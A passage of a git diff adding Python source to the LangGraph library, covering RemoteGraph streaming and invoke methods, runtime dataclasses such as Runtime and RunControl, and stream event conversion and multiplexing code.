+        stream_mode: StreamMode | list[StreamMode] | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        subgraphs: bool = False,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v1", "v2"] = "v1",
+        **kwargs: Any,
+    ) -> AsyncIterator[dict[str, Any] | Any]:
+        """Create a run and stream the results.
+
+        This method calls `POST /threads/{thread_id}/runs/stream` if a `thread_id`
+        is specified in the `configurable` field of the config or
+        `POST /runs/stream` otherwise.
+
+        Args:
+            input: Input to the graph.
+            config: A `RunnableConfig` for graph invocation.
+            stream_mode: Stream mode(s) to use.
+            interrupt_before: Interrupt the graph before these nodes.
+            interrupt_after: Interrupt the graph after these nodes.
+            subgraphs: Stream from subgraphs.
+            headers: Additional headers to pass to the request.
+            **kwargs: Additional params to pass to client.runs.stream.
+
+        Yields:
+            The output of the graph.
+        """
+        client = self._validate_client()
+        merged_config = merge_configs(self.config, config)
+        sanitized_config = self._sanitize_config(merged_config)
+        stream_modes, requested, req_single, stream = self._get_stream_modes(
+            stream_mode, config
+        )
+        if isinstance(input, Command):
+            command: CommandSDK | None = cast(CommandSDK, asdict(input))
+            input = None
+        else:
+            command = None
+        thread_id = sanitized_config.get("configurable", {}).pop("thread_id", None)
+
+        async for chunk in client.runs.stream(
+            thread_id=thread_id,
+            assistant_id=self.assistant_id,
+            input=input,
+            command=command,
+            config=sanitized_config,
+            context=context,
+            stream_mode=stream_modes,
+            interrupt_before=interrupt_before,
+            interrupt_after=interrupt_after,
+            stream_subgraphs=subgraphs or stream is not None,
+            if_not_exists="create",
+            headers=(
+                _merge_tracing_headers(headers) if self.distributed_tracing else headers
+            ),
+            params=params,
+            **kwargs,
+        ):
+            # split mode and ns
+            if NS_SEP in chunk.event:
+                mode, ns_ = chunk.event.split(NS_SEP, 1)
+                ns = tuple(ns_.split(NS_SEP))
+            else:
+                mode, ns = chunk.event, ()
+            # raise ParentCommand exception for command events
+            if mode == "command" and chunk.data.get("graph") == Command.PARENT:
+                raise ParentCommand(Command(**chunk.data))
+            # prepend caller ns (as it is not passed to remote graph)
+            if caller_ns := (config or {}).get(CONF, {}).get(CONFIG_KEY_CHECKPOINT_NS):
+                caller_ns = tuple(caller_ns.split(NS_SEP))
+                ns = caller_ns + ns
+            # stream to parent stream
+            if stream is not None and mode in stream.modes:
+                stream((ns, mode, chunk.data))
+            # raise interrupt or errors
+            if chunk.event.startswith("updates"):
+                if isinstance(chunk.data, dict) and INTERRUPT in chunk.data:
+                    if caller_ns:
+                        raise GraphInterrupt(
+                            [Interrupt(**i) for i in chunk.data[INTERRUPT]]
+                        )
+            elif chunk.event.startswith("error"):
+                raise RemoteException(chunk.data)
+            # filter for what was actually requested
+            if mode not in requested:
+                continue
+
+            if chunk.event.startswith("messages"):
+                chunk = chunk._replace(data=tuple(chunk.data))
+
+            # emit chunk
+            if version == "v2":
+                ints: tuple[Interrupt, ...] = ()
+                if mode == "values" and isinstance(chunk.data, dict):
+                    ints = tuple(
+                        Interrupt(**i) if isinstance(i, dict) else i
+                        for i in chunk.data.pop(INTERRUPT, ())
+                    )
+                yield {"type": mode, "ns": ns, "data": chunk.data, "interrupts": ints}
+            elif subgraphs:
+                if NS_SEP in chunk.event:
+                    mode, ns_ = chunk.event.split(NS_SEP, 1)
+                    ns = tuple(ns_.split(NS_SEP))
+                else:
+                    mode, ns = chunk.event, ()
+                if req_single:
+                    yield ns, chunk.data
+                else:
+                    yield ns, mode, chunk.data
+            elif req_single:
+                yield chunk.data
+            else:
+                yield chunk
+
+    def stream_events(
+        self,
+        input: Any,
+        config: RunnableConfig | None = None,
+        *,
+        version: Literal["v1", "v2", "v3"] = "v2",
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        control: Any = None,
+        transformers: Sequence[Any] | None = None,
+        headers: dict[str, str] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        """Stream events from this remote graph.
+
+        For `version="v3"`, returns a `_RemoteGraphRunStream` whose surface
+        matches the local `GraphRunStream`. For other versions, delegates to
+        `Runnable.stream_events`.
+        """
+        if version != "v3":
+            return super().stream_events(input, config, version=version, **kwargs)
+        self._reject_v3_unsupported(
+            control=control,
+            transformers=transformers,
+            interrupt_before=interrupt_before,
+            interrupt_after=interrupt_after,
+            extra_kwargs=kwargs,
+        )
+        sync_client = self._validate_sync_client()
+        sanitized = self._sanitize_config(merge_configs(self.config, config))
+        thread_id = sanitized.get("configurable", {}).pop("thread_id", None)
+        merged_headers = (
+            _merge_tracing_headers(headers) if self.distributed_tracing else headers
+        )
+        sdk_thread = sync_client.threads.stream(
+            thread_id=thread_id,
+            assistant_id=self.assistant_id,
+            headers=merged_headers,
+        )
+        return _RemoteGraphRunStream(
+            sync_client=sync_client,
+            sdk_thread=sdk_thread,
+            input=input,
+            config=sanitized,
+            metadata=kwargs.get("metadata"),
+        )
+
+    async def astream_events(
+        self,
+        input: Any,
+        config: RunnableConfig | None = None,
+        *,
+        version: Literal["v1", "v2", "v3"] = "v2",
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        control: Any = None,
+        transformers: Sequence[Any] | None = None,
+        headers: dict[str, str] | None = None,
+        **kwargs: Any,
+    ) -> Any:
+        """Async-stream events from this remote graph.
+
+        For `version="v3"`, awaits to an `_AsyncRemoteGraphRunStream`, matching
+        the local `Pregel.astream_events(version="v3")` awaitable contract:
+        `async with await rg.astream_events(..., version="v3") as run`. For
+        `version="v1"`/`"v2"`, raises NotImplementedError (use `astream`).
+        """
+        if version != "v3":
+            raise NotImplementedError(
+                f"RemoteGraph.astream_events(version={version!r}) is not "
+                "implemented; use astream() for v1/v2 streaming or "
+                "version='v3'."
+            )
+        self._reject_v3_unsupported(
+            control=control,
+            transformers=transformers,
+            interrupt_before=interrupt_before,
+            interrupt_after=interrupt_after,
+            extra_kwargs=kwargs,
+        )
+        client = self._validate_client()
+        sanitized = self._sanitize_config(merge_configs(self.config, config))
+        thread_id = sanitized.get("configurable", {}).pop("thread_id", None)
+        merged_headers = (
+            _merge_tracing_headers(headers) if self.distributed_tracing else headers
+        )
+        sdk_thread = client.threads.stream(
+            thread_id=thread_id,
+            assistant_id=self.assistant_id,
+            headers=merged_headers,
+        )
+        return _AsyncRemoteGraphRunStream(
+            client=client,
+            sdk_thread=sdk_thread,
+            input=input,
+            config=sanitized,
+            metadata=kwargs.get("metadata"),
+        )
+
+    @overload
+    def invoke(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v2"],
+        **kwargs: Any,
+    ) -> GraphOutput[dict[str, Any]]: ...
+
+    @overload
+    def invoke(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v1"] = ...,
+        **kwargs: Any,
+    ) -> dict[str, Any] | Any: ...
+
+    def invoke(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v1", "v2"] = "v1",
+        **kwargs: Any,
+    ) -> dict[str, Any] | Any:
+        """Create a run, wait until it finishes and return the final state.
+
+        Args:
+            input: Input to the graph.
+            config: A `RunnableConfig` for graph invocation.
+            interrupt_before: Interrupt the graph before these nodes.
+            interrupt_after: Interrupt the graph after these nodes.
+            headers: Additional headers to pass to the request.
+            version: The streaming format version. `"v1"` (default) returns the
+                traditional format, `"v2"` returns `StreamPart` typed dicts.
+            **kwargs: Additional params to pass to RemoteGraph.stream.
+
+        Returns:
+            The output of the graph.
+        """
+        for chunk in self.stream(  # type: ignore[misc, call-overload]
+            input,
+            config=config,
+            context=context,
+            interrupt_before=interrupt_before,
+            interrupt_after=interrupt_after,
+            headers=headers,
+            stream_mode="values",
+            params=params,
+            version=version,
+            **kwargs,
+        ):
+            pass
+        try:
+            if version == "v2":
+                return GraphOutput(
+                    value=chunk["data"],
+                    interrupts=tuple(chunk.get("interrupts", ())),
+                )
+            return chunk
+        except UnboundLocalError:
+            logger.warning("No events received from remote graph")
+            return None
+
+    @overload
+    async def ainvoke(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v2"],
+        **kwargs: Any,
+    ) -> GraphOutput[dict[str, Any]]: ...
+
+    @overload
+    async def ainvoke(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v1"] = ...,
+        **kwargs: Any,
+    ) -> dict[str, Any] | Any: ...
+
+    async def ainvoke(
+        self,
+        input: dict[str, Any] | Any,
+        config: RunnableConfig | None = None,
+        *,
+        context: Context | None = None,
+        interrupt_before: All | Sequence[str] | None = None,
+        interrupt_after: All | Sequence[str] | None = None,
+        headers: dict[str, str] | None = None,
+        params: QueryParamTypes | None = None,
+        version: Literal["v1", "v2"] = "v1",
+        **kwargs: Any,
+    ) -> dict[str, Any] | Any:
+        """Create a run, wait until it finishes and return the final state.
+
+        Args:
+            input: Input to the graph.
+            config: A `RunnableConfig` for graph invocation.
+            interrupt_before: Interrupt the graph before these nodes.
+            interrupt_after: Interrupt the graph after these nodes.
+            headers: Additional headers to pass to the request.
+            version: The streaming format version. `"v1"` (default) returns the
+                traditional format, `"v2"` returns `StreamPart` typed dicts.
+            **kwargs: Additional params to pass to RemoteGraph.astream.
+
+        Returns:
+            The output of the graph.
+        """
+        async for chunk in self.astream(  # type: ignore[misc, call-overload]
+            input,
+            config=config,
+            context=context,
+            interrupt_before=interrupt_before,
+            interrupt_after=interrupt_after,
+            headers=headers,
+            stream_mode="values",
+            params=params,
+            version=version,
+            **kwargs,
+        ):
+            pass
+        try:
+            if version == "v2":
+                return GraphOutput(
+                    value=chunk["data"],
+                    interrupts=tuple(chunk.get("interrupts", ())),
+                )
+            return chunk
+        except UnboundLocalError:
+            logger.warning("No events received from remote graph")
+            return None
+
+
+def _merge_tracing_headers(headers: dict[str, str] | None) -> dict[str, str] | None:
+    if rt := ls.get_current_run_tree():
+        tracing_headers = rt.to_headers()
+        if headers:
+            if "baggage" in headers:
+                tracing_headers["baggage"] = (
+                    f"{headers['baggage']},{tracing_headers['baggage']}"
+                )
+            headers.update(tracing_headers)
+        else:
+            headers = tracing_headers
+    return headers
diff --git a/libs/langgraph/langgraph/pregel/types.py b/libs/langgraph/langgraph/pregel/types.py
new file mode 100644
index 0000000..39a36df
--- /dev/null
+++ b/libs/langgraph/langgraph/pregel/types.py
@@ -0,0 +1,38 @@
+"""Re-export types moved to langgraph.types"""
+
+from langgraph.types import (
+    All,
+    CachePolicy,
+    PregelExecutableTask,
+    PregelTask,
+    RetryPolicy,
+    StateSnapshot,
+    StateUpdate,
+    StreamMode,
+    StreamWriter,
+    default_retry_on,
+)
+
+__all__ = [
+    "All",
+    "StateUpdate",
+    "CachePolicy",
+    "PregelExecutableTask",
+    "PregelTask",
+    "RetryPolicy",
+    "StateSnapshot",
+    "StreamMode",
+    "StreamWriter",
+    "default_retry_on",
+]
+
+from warnings import warn
+
+from langgraph.warnings import LangGraphDeprecatedSinceV10
+
+warn(
+    "Importing from langgraph.pregel.types is deprecated. "
+    "Please use 'from langgraph.types import ...' instead.",
+    LangGraphDeprecatedSinceV10,
+    stacklevel=2,
+)
diff --git a/libs/langgraph/langgraph/py.typed b/libs/langgraph/langgraph/py.typed
new file mode 100644
index 0000000..e69de29
diff --git a/libs/langgraph/langgraph/runtime.py b/libs/langgraph/langgraph/runtime.py
new file mode 100644
index 0000000..9e6d32b
--- /dev/null
+++ b/libs/langgraph/langgraph/runtime.py
@@ -0,0 +1,310 @@
+from __future__ import annotations
+
+from collections.abc import Callable
+from dataclasses import dataclass, field, replace
+from typing import Any, Generic, cast
+
+from langgraph.store.base import BaseStore
+from langgraph_sdk.auth.types import BaseUser
+from typing_extensions import TypedDict, Unpack
+
+from langgraph._internal._constants import CONF, CONFIG_KEY_RUNTIME
+from langgraph.config import get_config
+from langgraph.types import _DC_KWARGS, StreamWriter
+from langgraph.typing import ContextT
+
+__all__ = (
+    "BaseUser",
+    "ExecutionInfo",
+    "RunControl",
+    "Runtime",
+    "ServerInfo",
+    "get_runtime",
+)
+
+
+@dataclass(frozen=True, slots=True)
+class ExecutionInfo:
+    """Read-only execution info/metadata for the execution of current thread/run/node."""
+
+    checkpoint_id: str
+    """The checkpoint ID for the current execution."""
+
+    checkpoint_ns: str
+    """The checkpoint namespace for the current execution."""
+
+    task_id: str
+    """The task ID for the current execution."""
+
+    thread_id: str | None = None
+    """The thread ID for the current execution.
+
+    None when running without a checkpointer (i.e., no persistence)."""
+
+    run_id: str | None = None
+    """The run ID for the current execution.
+
+    None when `run_id` is not provided in the RunnableConfig."""
+
+    node_attempt: int = 1
+    """Current node execution attempt number (1-indexed)."""
+
+    node_first_attempt_time: float | None = None
+    """Unix timestamp (seconds) for when the first attempt started."""
+
+    def patch(self, **overrides: Any) -> ExecutionInfo:
+        """Return a new execution info object with selected fields replaced."""
+        return replace(self, **overrides)
+
+
+@dataclass(frozen=True, slots=True)
+class ServerInfo:
+    """Metadata injected by LangGraph Server. None when running open-source LangGraph without LangSmith deployments."""
+
+    assistant_id: str
+    """The assistant ID for the current execution."""
+
+    graph_id: str
+    """The graph ID for the current execution."""
+
+    user: BaseUser | None = None
+    """The authenticated user, if any.
+
+    This implements the `BaseUser` protocol from `langgraph_sdk.auth.types`,
+    which supports both attribute access (e.g. `user.identity`) and dict-like
+    access (e.g. `user["identity"]`).
+    """
+
+
+class RunControl:
+    """Run-scoped control surface for cooperative draining.
+
+    Intended for a single graph run. Create a fresh `RunControl` per run;
+    reusing a control after `request_drain()` leaves it drained.
+
+    Safe to call from any thread: the drain request is represented by a
+    single attribute write, so no lock is needed for this signal.
+    If more mutable state is added here, add synchronization.
+    """
+
+    __slots__ = ("_drain_reason",)
+
+    def __init__(self) -> None:
+        self._drain_reason: str | None = None
+
+    def request_drain(self, reason: str = "shutdown") -> None:
+        self._drain_reason = reason
+
+    @property
+    def drain_requested(self) -> bool:
+        return self._drain_reason is not None
+
+    @property
+    def drain_reason(self) -> str | None:
+        return self._drain_reason
+
+
+def _no_op_stream_writer(_: Any) -> None: ...
+
+
+def _no_op_heartbeat() -> None: ...
+
+
+class _RuntimeOverrides(TypedDict, Generic[ContextT], total=False):
+    context: ContextT
+    store: BaseStore | None
+    stream_writer: StreamWriter
+    heartbeat: Callable[[], None]
+    previous: Any
+    execution_info: ExecutionInfo
+    server_info: ServerInfo | None
+    control: RunControl | None
+
+
+@dataclass(**_DC_KWARGS)
+class Runtime(Generic[ContextT]):
+    """Convenience class that bundles run-scoped context and other runtime utilities.
+
+    This class is injected into graph nodes and middleware. It provides access to
+    `context`, `store`, `stream_writer`, `previous`, and `execution_info`.
+
+    !!! note "Accessing `config`"
+
+        `Runtime` does not include `config`. To access `RunnableConfig`, you can inject
+        it directly by adding a `config: RunnableConfig` parameter to your node function
+        (recommended), or use `get_config()` from `langgraph.config`.
+
+    !!! note
+        `ToolRuntime` (from `langgraph.prebuilt`) is a subclass that provides similar
+        functionality but is designed specifically for tools. It shares `context`, `store`,
+        and `stream_writer` with `Runtime`, and adds tool-specific attributes like `config`,
+        `state`, and `tool_call_id`.
+
+    !!! version-added "Added in version v0.6.0"
+
+    Example:
+
+    ```python
+    from typing import TypedDict
+    from langgraph.graph import StateGraph
+    from dataclasses import dataclass
+    from langgraph.runtime import Runtime
+    from langgraph.store.memory import InMemoryStore
+
+
+    @dataclass
+    class Context:  # (1)!
+        user_id: str
+
+
+    class State(TypedDict, total=False):
+        response: str
+
+
+    store = InMemoryStore()  # (2)!
+    store.put(("users",), "user_123", {"name": "Alice"})
+
+
+    def personalized_greeting(state: State, runtime: Runtime[Context]) -> State:
+        '''Generate personalized greeting using runtime context and store.'''
+        user_id = runtime.context.user_id  # (3)!
+        name = "unknown_user"
+        if runtime.store:
+            if memory := runtime.store.get(("users",), user_id):
+                name = memory.value["name"]
+
+        response = f"Hello {name}! Nice to see you again."
+        return {"response": response}
+
+
+    graph = (
+        StateGraph(state_schema=State, context_schema=Context)
+        .add_node("personalized_greeting", personalized_greeting)
+        .set_entry_point("personalized_greeting")
+        .set_finish_point("personalized_greeting")
+        .compile(store=store)
+    )
+
+    result = graph.invoke({}, context=Context(user_id="user_123"))
+    print(result)
+    # > {'response': 'Hello Alice! Nice to see you again.'}
+    ```
+
+    1. Define a schema for the runtime context.
+    2. Create a store to persist memories and other information.
+    3. Use the runtime context to access the `user_id`.
+    """
+
+    context: ContextT = field(default=None)  # type: ignore[assignment]
+    """Static context for the graph run, like `user_id`, `db_conn`, etc.
+
+    Can also be thought of as 'run dependencies'."""
+
+    store: BaseStore | None = field(default=None)
+    """Store for the graph run, enabling persistence and memory."""
+
+    stream_writer: StreamWriter = field(default=_no_op_stream_writer)
+    """Function that writes to the custom stream."""
+
+    heartbeat: Callable[[], None] = field(default=_no_op_heartbeat)
+    """Record progress for the current node's `idle_timeout`.
+
+    Call this from inside long-running work that does not naturally emit
+    writes, stream chunks, child tasks, or LangChain callback events, to
+    prevent the node from being treated as idle. It is also the only
+    progress signal honored under `TimeoutPolicy(refresh_on="heartbeat")`.
+    Outside an idle-timed attempt this is a no-op.
+    """
+
+    previous: Any = field(default=None)
+    """The previous return value for the given thread.
+
+    Only available with the functional API when a checkpointer is provided.
+    """
+
+    execution_info: ExecutionInfo | None = field(default=None)
+    """Read-only execution information/metadata for the current node run.
+
+    None before task preparation populates it."""
+
+    server_info: ServerInfo | None = field(default=None)
+    """Metadata injected by LangGraph Server. None when running open-source LangGraph without LangSmith deployments."""
+
+    control: RunControl | None = field(default=None)
+    """Run-scoped control plane for cooperative draining.
+
+    Populated automatically during graph runs. None outside an active
+    graph runtime.
+    """
+
+    def merge(self, other: Runtime[ContextT]) -> Runtime[ContextT]:
+        """Merge two runtimes together.
+
+        If a value is not provided in the other runtime, the value from the current runtime is used.
+        """
+        return Runtime(
+            context=other.context or self.context,
+            store=other.store or self.store,
+            stream_writer=other.stream_writer
+            if other.stream_writer is not _no_op_stream_writer
+            else self.stream_writer,
+            heartbeat=other.heartbeat
+            if other.heartbeat is not _no_op_heartbeat
+            else self.heartbeat,
+            previous=self.previous if other.previous is None else other.previous,
+            execution_info=other.execution_info or self.execution_info,
+            server_info=other.server_info or self.server_info,
+            control=other.control or self.control,
+        )
+
+    def override(
+        self, **overrides: Unpack[_RuntimeOverrides[ContextT]]
+    ) -> Runtime[ContextT]:
+        """Replace the runtime with a new runtime with the given overrides."""
+        return replace(self, **overrides)
+
+    def patch_execution_info(self, **overrides: Any) -> Runtime[ContextT]:
+        """Return a new runtime with selected execution_info fields replaced."""
+        if self.execution_info is None:
+            msg = "Cannot patch execution_info before it has been set"
+            raise RuntimeError(msg)
+        return replace(
+            self,
+            execution_info=self.execution_info.patch(**overrides),
+        )
+
+    @property
+    def drain_requested(self) -> bool:
+        return self.control.drain_requested if self.control is not None else False
+
+    @property
+    def drain_reason(self) -> str | None:
+        return self.control.drain_reason if self.control is not None else None
+
+
+DEFAULT_RUNTIME = Runtime(
+    context=None,
+    store=None,
+    stream_writer=_no_op_stream_writer,
+    heartbeat=_no_op_heartbeat,
+    previous=None,
+    execution_info=None,
+    control=None,
+)
+
+
+def get_runtime(context_schema: type[ContextT] | None = None) -> Runtime[ContextT]:
+    """Get the runtime for the current graph run.
+
+    Args:
+        context_schema: Optional schema used for type hinting the return type of the runtime.
+
+    Returns:
+        The runtime for the current graph run.
+    """
+
+    # TODO: in an ideal world, we would have a context manager for
+    # the runtime that's independent of the config. this will follow
+    # from the removal of the configurable packing
+    runtime = cast(Runtime[ContextT], get_config()[CONF].get(CONFIG_KEY_RUNTIME))
+    return runtime
diff --git a/libs/langgraph/langgraph/stream/__init__.py b/libs/langgraph/langgraph/stream/__init__.py
new file mode 100644
index 0000000..e67b513
--- /dev/null
+++ b/libs/langgraph/langgraph/stream/__init__.py
@@ -0,0 +1,45 @@
+"""Streaming infrastructure for LangGraph.
+
+Compile a graph with `transformers=[...]` and call `graph.stream_events(version="v3")` /
+`graph.astream_events(version="v3")` to drive a transformer pipeline that projects the
+graph's raw events into ergonomic per-channel streams.
+"""
+
+from langgraph.stream._types import ProtocolEvent, StreamTransformer
+from langgraph.stream.run_stream import (
+    AsyncGraphRunStream,
+    AsyncSubgraphRunStream,
+    GraphRunStream,
+    SubgraphRunStream,
+)
+from langgraph.stream.stream_channel import StreamChannel
+from langgraph.stream.transformers import (
+    CheckpointsTransformer,
+    CustomTransformer,
+    DebugTransformer,
+    LifecyclePayload,
+    LifecycleTransformer,
+    SubgraphStatus,
+    SubgraphTransformer,
+    TasksTransformer,
+    UpdatesTransformer,
+)
+
+__all__ = [
+    "AsyncGraphRunStream",
+    "AsyncSubgraphRunStream",
+    "CheckpointsTransformer",
+    "CustomTransformer",
+    "DebugTransformer",
+    "GraphRunStream",
+    "LifecyclePayload",
+    "LifecycleTransformer",
+    "ProtocolEvent",
+    "StreamChannel",
+    "StreamTransformer",
+    "SubgraphRunStream",
+    "SubgraphStatus",
+    "SubgraphTransformer",
+    "TasksTransformer",
+    "UpdatesTransformer",
+]
diff --git a/libs/langgraph/langgraph/stream/_convert.py b/libs/langgraph/langgraph/stream/_convert.py
new file mode 100644
index 0000000..c1a14b5
--- /dev/null
+++ b/libs/langgraph/langgraph/stream/_convert.py
@@ -0,0 +1,32 @@
+from __future__ import annotations
+
+import time
+from typing import Any, cast
+
+from langgraph.stream._types import ProtocolEvent, _ProtocolEventParams
+from langgraph.types import StreamPart
+
+
+def convert_to_protocol_event(part: StreamPart) -> ProtocolEvent:
+    """Convert a v2 StreamPart to a ProtocolEvent.
+
+    Args:
+        part: A stream part with keys `type`, `ns`, `data`, and
+            optionally `interrupts` (present on values events).
+
+    Returns:
+        The equivalent ProtocolEvent.
+    """
+    part_dict = cast(dict[str, Any], part)
+    params: _ProtocolEventParams = {
+        "namespace": list(part_dict["ns"]),
+        "timestamp": int(time.time() * 1000),
+        "data": part_dict["data"],
+    }
+    if "interrupts" in part_dict:
+        params["interrupts"] = part_dict["interrupts"]
+    return {
+        "type": "event",
+        "method": part_dict["type"],
+        "params": params,
+    }
diff --git a/libs/langgraph/langgraph/stream/_mux.py b/libs/langgraph/langgraph/stream/_mux.py
new file mode 100644
index 0000000..061166e
--- /dev/null
+++ b/libs/langgraph/langgraph/stream/_mux.py
@@ -0,0 +1,523 @@
+from __future__ import annotations
+
+import asyncio
+import time
+from collections.abc import Awaitable, Callable
+from typing import Any
+
+from langgraph.stream._types import (
+    ProtocolEvent,
+    StreamTransformer,
+    transformer_requires_async,
+)
+from langgraph.stream.stream_channel import StreamChannel
+
+TransformerFactory = Callable[["tuple[str, ...]"], StreamTransformer]
+"""Factory that builds a scoped transformer for a mux.
+
+Called once per `StreamMux` with the mux's scope (typically `()` for
+the root). Standard transformer classes accept a single positional
+scope argument, so the class itself is a valid factory. User
+transformers can close over their config:
+`lambda scope: MyTransformer(scope, foo=...)`.
+"""
+
+
+class StreamMux:
+    """Central event dispatcher for the streaming infrastructure.
+
+    Owns the main event log and routes events through a transformer
+    pipeline. StreamChannels with a name discovered in transformer
+    projections are auto-wired so that every `push()` also injects a
+    `ProtocolEvent` into the main log. StreamChannels without a name
+    are local-only.
+
+    Pass `is_async=True` when the mux will be consumed via async
+    iteration (`handler.astream()`). All StreamChannel instances
+    discovered during registration are automatically bound to the
+    matching mode.
+
+    Attributes:
+        extensions: Merged projection dict across all registered
+            transformers. Treat as read-only — mutations won't be
+            reflected back in individual transformers' state.
+        native_keys: Projection keys contributed by transformers with
+            `_native = True`.
+    """
+
+    def __init__(
+        self,
+        transformers: list[StreamTransformer] | None = None,
+        *,
+        is_async: bool = False,
+        factories: list[TransformerFactory] | None = None,
+        scope: tuple[str, ...] = (),
+        _assign_seq: bool = True,
+    ) -> None:
+        """Initialize the mux and register transformers in order.
+
+        Callers pass either `transformers` (pre-built instances) or
+        `factories` (callables producing fresh instances per mux). Each
+        transformer's `init()` is called, projections are merged into
+        `extensions`, `_native` keys are recorded in `native_keys`, and
+        any StreamChannel instances are bound and (if named) wired.
+
+        Transformers with `StreamTransformer.before_builtins = True` are
+        registered ahead of the rest, preserving relative order within
+        each lane. This lets content-mutating transformers (PII
+        redaction, content filters, etc.) run before built-ins like
+        `MessagesTransformer` that eagerly snapshot text fields into
+        their projections. See `StreamTransformer.before_builtins` for
+        the contract and foot-guns.
+
+        Args:
+            transformers: Already-built transformer instances. Registered
+                only on this mux — they are NOT cloned into child
+                mini-muxes built by `_make_child`. Use `factories` for
+                transformers that should propagate to nested scopes.
+            is_async: True for async dispatch (`apush` / `aclose` /
+                `afail`), False for the sync path.
+            factories: One-argument callables `(scope) -> StreamTransformer`.
+                Called once with this mux's `scope` here, and cloned
+                again per child scope by `_make_child` so each
+                sub-mux gets fresh instances.
+            scope: The namespace the mux operates within. The root mux
+                is `()`.
+            _assign_seq: Internal flag for child muxes. Root muxes assign
+                monotonic `seq` numbers when appending to their main event
+                log; child muxes share forwarded event objects and must not
+                mutate their envelopes.
+
+        Raises:
+            RuntimeError: If any transformer requires an async run but
+                the mux is in sync mode.
+            TypeError: If a transformer's `init()` doesn't return a dict.
+            ValueError: If transformers' projection keys collide.
+        """
+        self.is_async = is_async
+        self.scope: tuple[str, ...] = scope
+        self._assign_seq = _assign_seq
+        self._events: StreamChannel[ProtocolEvent] = StreamChannel()
+        self._events._bind(is_async=is_async)
+        self._events._bind_mux(self)
+        self._transformers: list[StreamTransformer] = []
+        self._channels: list[StreamChannel[Any]] = []
+        self._seq = 0
+        self._push_seq = 0
+
+        self.extensions: dict[str, Any] = {}
+        self.native_keys: set[str] = set()
+        self._projection_owners: dict[str, str] = {}
+        self._transformer_by_key: dict[str, StreamTransformer] = {}
+
+        # Stored only when constructed from factories — used by
+        # `_make_child` to clone the transformer pipeline at a deeper
+        # scope. Pre-built transformers can't be cloned, so a mux
+        # built with `transformers=` rejects child construction.
+        self._factories: list[TransformerFactory] | None = (
+            list(factories) if factories is not None else None
+        )
+        self._pump_fn: Callable[[], bool] | None = None
+        self._apump_fn: Callable[[], Awaitable[bool]] | None = None
+
+        # Factories run first (they propagate to child mini-muxes via
+        # `_make_child`), then any pre-built `transformers=` instances
+        # are registered as root-only — they aren't cloned for child
+        # scopes. Within each group, transformers with
+        # `before_builtins = True` are registered ahead of the rest so
+        # they observe (and may mutate) events before built-ins like
+        # `MessagesTransformer`. The order *within* each lane matches
+        # the supplied sequence.
+        pre: list[StreamTransformer] = []
+        rest: list[StreamTransformer] = []
+        if factories is not None:
+            for factory in factories:
+                transformer = factory(scope)
+                (
+                    pre if getattr(transformer, "before_builtins", False) else rest
+                ).append(transformer)
+            for transformer in (*pre, *rest):
+                self._register(transformer)
+            pre.clear()
+            rest.clear()
+        for transformer in transformers or ():
+            (pre if getattr(transformer, "before_builtins", False) else rest).append(
+                transformer
+            )
+        for transformer in (*pre, *rest):
+            self._register(transformer)
+
+    def transformer_by_key(self, key: str) -> StreamTransformer | None:
+        """Return the transformer that contributed `key` to the projection."""
+        return self._transformer_by_key.get(key)
+
+    def _next_push_seq(self) -> int:
+        self._push_seq += 1
+        return self._push_seq
+
+    # ------------------------------------------------------------------
+    # Pump wiring + mini-mux nesting
+    # ------------------------------------------------------------------
+
+    def bind_pump(self, fn: Callable[[], bool]) -> None:
+        """Wire the sync pull callback onto every projection in this mux.
+
+        Records the pump on the mux so child mini-muxes built by
+        `_make_child` can inherit it. Propagates to:
+        - the main event log (`self._events`)
+        - every projection StreamChannel in `extensions`
+        - any registered transformer that exposes `_bind_pump` (e.g.
+          `MessagesTransformer` so `ChatModelStream` instances drive the
+          shared pump from their cursors)
+        """
+        self._pump_fn = fn
+        self._events._request_more = fn
+        for ch in self._channels:
+            ch._request_more = fn
+        for transformer in self._transformers:
+            bind = getattr(transformer, "_bind_pump", None)
+            if bind is not None:
+                bind(fn)
+
+    def bind_apump(self, fn: Callable[[], Awaitable[bool]]) -> None:
+        """Async counterpart to `bind_pump`."""
+        self._apump_fn = fn
+        self._events._arequest_more = fn
+        for ch in self._channels:
+            ch._arequest_more = fn
+        for transformer in self._transformers:
+            abind = getattr(transformer, "_bind_apump", None)
+            if abind is not None:
+                abind(fn)
+
+    def _make_child(self, scope: tuple[str, ...]) -> StreamMux:
+        """Build a mini-mux with the same factories scoped to `scope`.
+
+        Used by `SubgraphTransformer` to attach a fresh transformer
+        pipeline to each discovered subgraph handle. The child mux
+        inherits the current pump bindings (so cursors on its
+        projection logs drive the root pump), carries the same factory
+        list forward to any grandchild subgraphs, and does not assign
+        `seq` numbers so forwarded events can be shared without
+        mutating their envelope.
+
+        Raises:
